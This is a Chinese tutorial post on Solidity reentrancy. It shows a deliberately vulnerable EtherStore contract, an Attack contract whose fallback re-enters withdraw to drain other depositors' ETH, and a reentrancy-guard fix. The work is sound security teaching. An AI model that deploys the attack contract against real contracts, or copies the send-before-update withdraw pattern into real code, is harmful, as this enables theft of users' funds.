3分钟Solidity: 11.1 重入攻击

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的"Re-Entrancy(代码示例)"

漏洞

假设合约 A调用了合约 B

重入攻击允许 BA完成执行之前回调 A

scss 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
   
EtherStore是一个可以存入和提取ETH的合约。

该合约容易受到重入攻击。

让我们看看原因。

1.  部署EtherStore

2.  从账户1(Alice)和账户2(Bob)各存入1个以太币到EtherStore

3.  部署Attack合约,传入EtherStore的地址

4.  调用Attack.attack并发送1个以太币(使用账户3(Eve))。

    你将收回3个以太币(从Alice和Bob那里窃取的2个以太币,

    加上这个合约发送的1个以太币)。

发生了什么?

攻击者能够在EtherStore.withdraw执行完成前多次调用它。

以下是函数调用的顺序:

-   Attack.attack
-   EtherStore.deposit
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当EtherStore向该合约发送以太币时,会调用回退函数。
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防技术

  • 确保所有状态变更在调用外部合约之前完成
  • 使用防止重入的函数修饰符

以下是一个重入防护的示例

ini 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Remix Lite 尝试一下

相关推荐
Man on the moon8 小时前
Solidity 零基础入门:从语法到实战,快速掌握智能合约开发
web3·区块链·智能合约
电报号dapp1198 小时前
DApp经济模型设计:2026年反泡沫完全指南
区块链·智能合约·哈希算法
Jay-r20 小时前
智能合约开发中13种最常见漏洞及修复(精华版)
安全·web安全·区块链·智能合约·solidity
JAMSAN093021 小时前
通信权力的去中心化重构:Web3通讯工具市场深度分析
重构·web3·去中心化·交互
码云骑士4 天前
ImToken智能合约交互避坑指南
区块链·智能合约·交互
带娃的IT创业者6 天前
预测市场的至暗时刻:从西班牙封锁事件看Web3监管的技术博弈
web3·区块链·智能合约·监管合规·预测市场·去中心化应用
一颗小行星!8 天前
快速了解 Web3 核心的概念
web3
master-dragon9 天前
貔貅币 (Honeypot Token) 识别与防御 & remix实践测试
区块链·智能合约
暗影萨满10 天前
EthSdkMobile —— 为移动端开发者打造的以太坊 Web3 SDK
web3
穗余11 天前
2026 AI x Web3 School共学营笔记-Day10-Women Builders in AI × Web3
人工智能·笔记·web3